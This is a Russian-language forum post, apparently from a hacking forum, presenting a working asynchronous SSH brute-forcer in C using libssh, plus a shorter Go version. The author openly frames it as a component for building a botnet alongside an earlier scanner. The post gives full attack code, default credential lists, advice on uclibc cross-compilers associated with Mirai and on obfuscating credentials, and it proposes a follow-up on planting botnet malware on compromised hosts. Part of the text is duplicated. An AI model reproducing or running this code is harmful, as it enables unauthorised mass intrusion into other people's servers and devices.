В прошлой статье тыгыдым я показал как создать сканнер SSH на C и Golang.
Сканнер давал нам IP адресса с SSH. Осталось всего лишь то их пробрутфорсить ) .
Здесь и сейчас я покажу облегченнный варинт брутфорсера SSH.
Есть два варианта написания такого кода на C: многопоточный и асинхронный(неблокирующие сокеты).
Многопоточный - много потоков, каждый поток обрабатывает отдельное соединение.
Асинхронный - один поток, но обрабатывает множество неблокирующих соединений.
Многопоточный кончено удобно, но у него будут проблемы:
Неподходит.
Будем юзать асинхронный брутфорс. Также для брутфорса будем юзать библиотеку libssh , в ней еще есть scp и sftp (например для передачи файлов и их запуска при взломе?).
В идеале, кто хочет серьезно написать ботнет, тому придется переписать libssh для более быстрого брутфорса.
Все исходосы есть на pastebin:
(На Golang код хуже, писал по приколу больше, но оказалось что Go - Иисус для меня, а я блин атеист)
C: https://pastebin.com/6WnE0yYY
Golang: https://pastebin.com/XjCXAvCU
Первым делом посвящу в структуры и переменные сие чуда:
struct commonssh - это node списка QUEUE_SSH , описывает отдельное соединение с SSH.
Если бы я делал ботнет, я бы все пароли и usernames пустил под xor.
scan_init, loop_brute это сканнер из прошлой статьи .
IS_DEBUG сделал просто для того чтобы следить как идет брутфорс.
pthread_create, pthread_detach - функции многопоточности(дааа, это жесть, Сишка странная, а курить ее еще страннее).
Один поток под сканнер, другой поток под брутфорсер(так SIGSEV я не получал при статической компиляции, проблемы часто была почему то в openSSL).
Воть кстати функция
И наконец то мы дошли до ядра нашего кода.
Чорт, я просто не знаю что здесь еще можно обьяснять, надеюсь комментарии к коду я нормально написал. Если есть какие-то вопросы - задавайте, потому что наверняка много чо упустил.
Я написал код на C, а обещал еще на Golang.
ДА это весь код брутфорсера на Golang. Только здесь нет timeout, но да ладно.
При этом статически и кроссплатформенно скомпилировать код на Golang - не проблема. Нооооо, чорт, бинарники получаются ограменными, по 6-10 мегабайт.
Да, весь упор я делал на Сишке, потому что потому. Но на Golang проще, удобнее и быстрее (в разы удобнее!!!).
Выбирать вам впринципе, если бы я хотел сделать что то меньше чем за неделю-месяц, я бы выбрал Golang.
Написать ли мне статью по проникновению на host взломанной жертвы и запуску там нашей малвари ботнета(добавление в автозапуск, P2P сеть мб реализовать?) ?
Задавайте вопросы если что то непотятно. Всех целую, всех люблю
UDP. Брутфорсер на C много жрет так как нет usleep(грубо говоря он может проверять соединение раз 1000 в миллисекунду, а этого не нужно)
Сканнер давал нам IP адресса с SSH. Осталось всего лишь то их пробрутфорсить ) .
Здесь и сейчас я покажу облегченнный варинт брутфорсера SSH.
Есть два варианта написания такого кода на C: многопоточный и асинхронный(неблокирующие сокеты).
Многопоточный - много потоков, каждый поток обрабатывает отдельное соединение.
Асинхронный - один поток, но обрабатывает множество неблокирующих соединений.
Многопоточный кончено удобно, но у него будут проблемы:
статическая компиляция. Проблемы в GNU glibc и pthread, и openssl. Да, для малвари я юзаю uclibc, это облегченный вариант стандартой библиотеки C glibc, бинарники получаются легче раз в 10. Но все равно есть много непонятных ошибок(например openssl кидает SIGSEV).
Готовые кросс-компиляторы uClibc можно скачать здесь https://www.uclibc.org/downloads/binaries/0.9.30.1/ Эти компиляторы юзали для сборки mirai и всего остального из дикого мира ботнетов.
Будем юзать асинхронный брутфорс. Также для брутфорса будем юзать библиотеку libssh , в ней еще есть scp и sftp (например для передачи файлов и их запуска при взломе?).
В идеале, кто хочет серьезно написать ботнет, тому придется переписать libssh для более быстрого брутфорса.
Все исходосы есть на pastebin:
(На Golang код хуже, писал по приколу больше, но оказалось что Go - Иисус для меня, а я блин атеист)
C: https://pastebin.com/6WnE0yYY
Golang: https://pastebin.com/XjCXAvCU
Первым делом посвящу в структуры и переменные сие чуда:
C:
/*state of bruteforcing */
enum
{
SSH_CREATED = 0,
SSH_CONNECTING = 1,
SSH_BRUTING = 2,
SSH_DEAD = 3,
};
/* Node нашего списка подключенний SSH*/
struct commonssh
{
struct sockaddr_in addr; // оставил для удобства
char *ip; // IP в строке
uint16_t port; // В host порядке байтов
int state, is_password_auth, tries; //state - state of bruteforcing. is_password_auth - есть ли аутентификация по паролю на SSH. tries - попыток провала.
time_t ltime; //для timeout
ssh_session session;
uint16_t userInd, passInd; //индексы в bruteUsernames и brutePasswords
struct commonssh *next;
};
//Что то наподобие контейнера list(тольо указатель только на следующий элемент commonssh)
struct QUEUE_comonssh
{
pthread_mutex_t m;
struct commonssh *first, *last;
int state, maxSize, size;
};
struct QUEUE_comonssh QUEUE_SSH;
#define SSH_CNCT_TIMEOUT 30
#define SSH_AUTH_TIMEOUT 30
#define WAIT 4
const char *bruteUsernames[] = {"root", "admin", "test", "guest", "info", "adm", "mysql", "user", "administrator", "oracle", "ftp", "pi", "puppet", "ansible", "ec2-user", "vagrant", "azureuser"};
int sizeUsernames = 17;
const char *brutePasswords[] = {"root", "toor", "raspberry", "dietpi", "test", "uploader", "password", "admin", "administrator", "marketing", "12345678", "1234", "12345", "qwerty", "webadmin", "webmaster", "maintenance", "techsupport", "letmein", "logon", "Passw@rd", "alpine"};
int sizePasswords = 22;
Если бы я делал ботнет, я бы все пароли и usernames пустил под xor.
C:
void *loop_brute(void *pdata);
void init_brute();
#define IS_DEBUG 1
int main()
{
scan_init();
init_brute();
pthread_t scan_thd, brute_thd;
pthread_create(&scan_thd, NULL, scan_loop, NULL);
pthread_create(&brute_thd, NULL, loop_brute, NULL);
pthread_detach(scan_thd);
pthread_detach(brute_thd);
#ifdef IS_DEBUG
char pause;
while(1){
scanf("%c", &pause);
system("clear");
pthread_mutex_lock(&QUEUE_SSH.m);
struct commonssh *cur = QUEUE_SSH.first;
while(cur != NULL){
printf("%s: ui: %d, pi: %d, state: %d\n", cur->ip, cur->userInd, cur->passInd, cur->state);
cur = cur->next;
}
pthread_mutex_unlock(&QUEUE_SSH.m);
}
#else
while(1)
sleep(1000);
#endif
}
IS_DEBUG сделал просто для того чтобы следить как идет брутфорс.
pthread_create, pthread_detach - функции многопоточности
Один поток под сканнер, другой поток под брутфорсер(так SIGSEV я не получал при статической компиляции, проблемы часто была почему то в openSSL).
C:
//неблокирующее подключение к SSH.
int ssh_connect_nonblock(struct commonssh *cssh)
{
if ((cssh->state == SSH_CREATED))
{
ssh_options_set(cssh->session, SSH_OPTIONS_HOST, cssh->ip);
ssh_options_set(cssh->session, SSH_OPTIONS_PORT, &cssh->port);
ssh_set_blocking(cssh->session, 0);
cssh->state = SSH_CONNECTING;
//cssh->ltime = time(NULL); Моя паранойя не хочет ставить это здесь, поставил ниже
}
if (cssh->ltime == 0)
cssh->ltime = time(NULL);
return ssh_connect(cssh->session);
}
/*Удаляет SSH подключение из QUEUE_SSH если (tries == -1 или tries >= 10) или переподключается */
void fuck_out(struct commonssh *prev, struct commonssh **current, int tries){
struct commonssh *cur = (*current);
if(tries != -1 || tries < 10 || cur == NULL || prev == NULL){
/*Переподключение. Сюда попадаем обычно после ошибки подключения*/
if(cur->session != NULL){
ssh_disconnect(cur->session);
ssh_free(cur->session);
cur->session = NULL;
}
cur->state = SSH_CREATED;
return;
}
/*Удаляем SSH connection из списка*/
pthread_mutex_lock(&(QUEUE_SSH.m));
prev->next = cur->next; //Если cur - первый элемент списка, то prev == cur, так что здесь не будет ошибки
if (QUEUE_SSH.first == cur && QUEUE_SSH.last == cur)
{
QUEUE_SSH.first = NULL;
QUEUE_SSH.last = NULL;
(*current) = NULL;
}
else if (QUEUE_SSH.last == cur)
{
QUEUE_SSH.last = prev;
(*current) = prev;
prev->next = NULL;
}
else if (QUEUE_SSH.first == cur)
{
QUEUE_SSH.first = cur->next;
(*current) = NULL;
}
else
{
(*current) = prev;
}
QUEUE_SSH.size--;
pthread_mutex_unlock(&(QUEUE_SSH.m));
if (cur->session != NULL)
{
ssh_disconnect(cur->session);
ssh_free(cur->session);
}
cur->session = NULL;
free(cur);
}
struct commonssh *getFirst()
{
struct commonssh *ret;
pthread_mutex_lock(&(QUEUE_SSH.m));
ret = QUEUE_SSH.first;
pthread_mutex_unlock(&(QUEUE_SSH.m));
return ret;
}
void init_brute(){
QUEUE_SSH.first = NULL;
QUEUE_SSH.last = NULL;
QUEUE_SSH.maxSize = SSH_SIZE_QUEUE;
QUEUE_SSH.size = 0;
}
void addToQUEUE(struct sockaddr_in*addr) из прошлой статьи .Она просто добавляет найденный сканнером IP с SSH в наш список QUEUE_SSH.
C:
void addToQUEUE(struct sockaddr_in*addr){
pthread_mutex_lock(&(QUEUE_SSH.m));
if (QUEUE_SSH.size >= QUEUE_SSH.maxSize){
pthread_mutex_unlock(&(QUEUE_SSH.m));
return;
}
struct commonssh *ptr = (struct commonssh *)calloc(1, sizeof(struct commonssh));
ptr->ip = strdup(inet_ntoa(addr->sin_addr));
ptr->addr = (*addr);
ptr->state = SSH_CREATED;
ptr->port = ntohs(addr->sin_port);
if (QUEUE_SSH.first == NULL)
QUEUE_SSH.first = ptr;
else
QUEUE_SSH.last->next = ptr;
QUEUE_SSH.last = ptr;
QUEUE_SSH.size++;
pthread_mutex_unlock(&(QUEUE_SSH.m));
}
И наконец то мы дошли до ядра нашего кода.
C:
void *loop_brute(void *pdata)
{
int rc = 1, sizB = 1;
struct commonssh *prev = NULL, *cur = NULL;
for (;;)
{
cur = getFirst(); //получаем первый SSH подключение из нашего списка
if (cur == NULL)
{
sleep(1);// NO IPS). Hmm, is scanner alived?
continue;
}
prev = cur;
while (cur != NULL)
{
switch (cur->state)
{
case SSH_CREATED:
case SSH_CONNECTING:
if(cur->session == NULL)
cur->session = ssh_new();
rc = ssh_connect_nonblock(cur);
if (rc != SSH_OK) //ошибка подключения или еще не подключились
{
if (( rc == SSH_AGAIN && (time(NULL) - cur->ltime >= SSH_CNCT_TIMEOUT)) || rc != SSH_AGAIN) // timeout или ошибка подключения
fuck_out(prev, &cur, ++cur->tries); //переподключаемся или (если tries >= 10 - удаляем соединение)
break;
}
cur->ltime = 0;
cur->state = SSH_BRUTING;
break;
case SSH_BRUTING:
if(cur->ltime == 0)
cur->ltime = time(NULL);
rc = ssh_userauth_password(cur->session, bruteUsernames[cur->userInd], brutePasswords[cur->passInd]);
if(rc == SSH_AUTH_SUCCESS){
//HACKED
printf("HACKED: %s:%d:%s:%s\n", inet_ntoa(cur->addr.sin_addr), cur->port, bruteUsernames[cur->userInd], brutePasswords[cur->passInd]);
// DO something с взломанным устройством . Тут уже ваша фантазия
fuck_out(prev, &cur, -1);
break;
}else if(rc == SSH_AUTH_AGAIN){
if( (time(NULL) - cur->ltime) >= SSH_AUTH_TIMEOUT)
fuck_out(prev, &cur, ++cur->tries);
break;
}else if(cur->is_password_auth == 0){ //Если SSH host не имеет auth by password, то отключаемся нафиг
const char*err = ssh_get_error(cur->session), *err2;
err2 = strstr(err,"for 'password'");
if(err2!=NULL){
if(strstr(err2, "password")!=NULL)
cur->is_password_auth = 1; //SSH host имеет auth by password
else{
fuck_out(prev, &cur, -1); //отключаемся
break;
}
}
}else if(rc == SSH_AUTH_ERROR){
fuck_out(prev, &cur, ++cur->tries); //переподключаемся или удаляем подключение
break;
}else if(rc == SSH_AUTH_DENIED){ //неправильный пароль или username, повторите вашу попытку или идите **** в fail2ban
cur->passInd++;
if(cur->passInd >= sizeUsernames){
cur->userInd++;
cur->passInd = 0;
if(cur->userInd>=sizePasswords){
fuck_out(prev, &cur, -1);
break;
}
}
//Переподключаемся
cur->tries = 0; //Ееее, без ошибок, обнуляем счетчик ошибок
ssh_disconnect(cur->session);
ssh_free(cur->session);
cur->session = NULL;
cur->state = SSH_CREATED;
break;
}
case SSH_DEAD: //Юзал для debug. Возможно еще понадобится?
fuck_out(prev, &cur, -1);
break;
}
if(cur != NULL){
prev = cur;
cur = cur->next;
}
}
}
}
Чорт, я просто не знаю что здесь еще можно обьяснять, надеюсь комментарии к коду я нормально написал. Если есть какие-то вопросы - задавайте, потому что наверняка много чо упустил.
Я написал код на C, а обещал еще на Golang.
C:
var usernames []string = []string{"user", "root", "usr"}
var passwords []string = []string{"pass", "admin", "adm"}
func brutingSSH(target string) {
checked_password := 0
for _, u := range usernames {
for _, p := range passwords {
config := &ssh.ClientConfig{
User: u,
Auth: []ssh.AuthMethod{
ssh.Password(p),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
conn, err := ssh.Dial("tcp", target, config)
if err != nil {
if checked_password == 0 {
if strings.Contains(err.Error(), "password") {
checked_password = 1
} else {
return
}
}
fmt.Printf("error: %s\n", err)
continue
}
//HACKED
fmt.Printf("HAcKeD: %s@%s , pass: %s\n", u, target, p)
//Do smth
conn.Close()
}
}
}
ДА это весь код брутфорсера на Golang. Только здесь нет timeout, но да ладно.
При этом статически и кроссплатформенно скомпилировать код на Golang - не проблема. Нооооо, чорт, бинарники получаются ограменными, по 6-10 мегабайт.
Да, весь упор я делал на Сишке, потому что потому. Но на Golang проще, удобнее и быстрее (в разы удобнее!!!).
Выбирать вам впринципе, если бы я хотел сделать что то меньше чем за неделю-месяц, я бы выбрал Golang.
Написать ли мне статью по проникновению на host взломанной жертвы и запуску там нашей малвари ботнета(добавление в автозапуск, P2P сеть мб реализовать?) ?
Задавайте вопросы если что то непотятно. Всех целую, всех люблю

UDP. Брутфорсер на C много жрет так как нет usleep(грубо говоря он может проверять соединение раз 1000 в миллисекунду, а этого не нужно)
Последнее редактирование: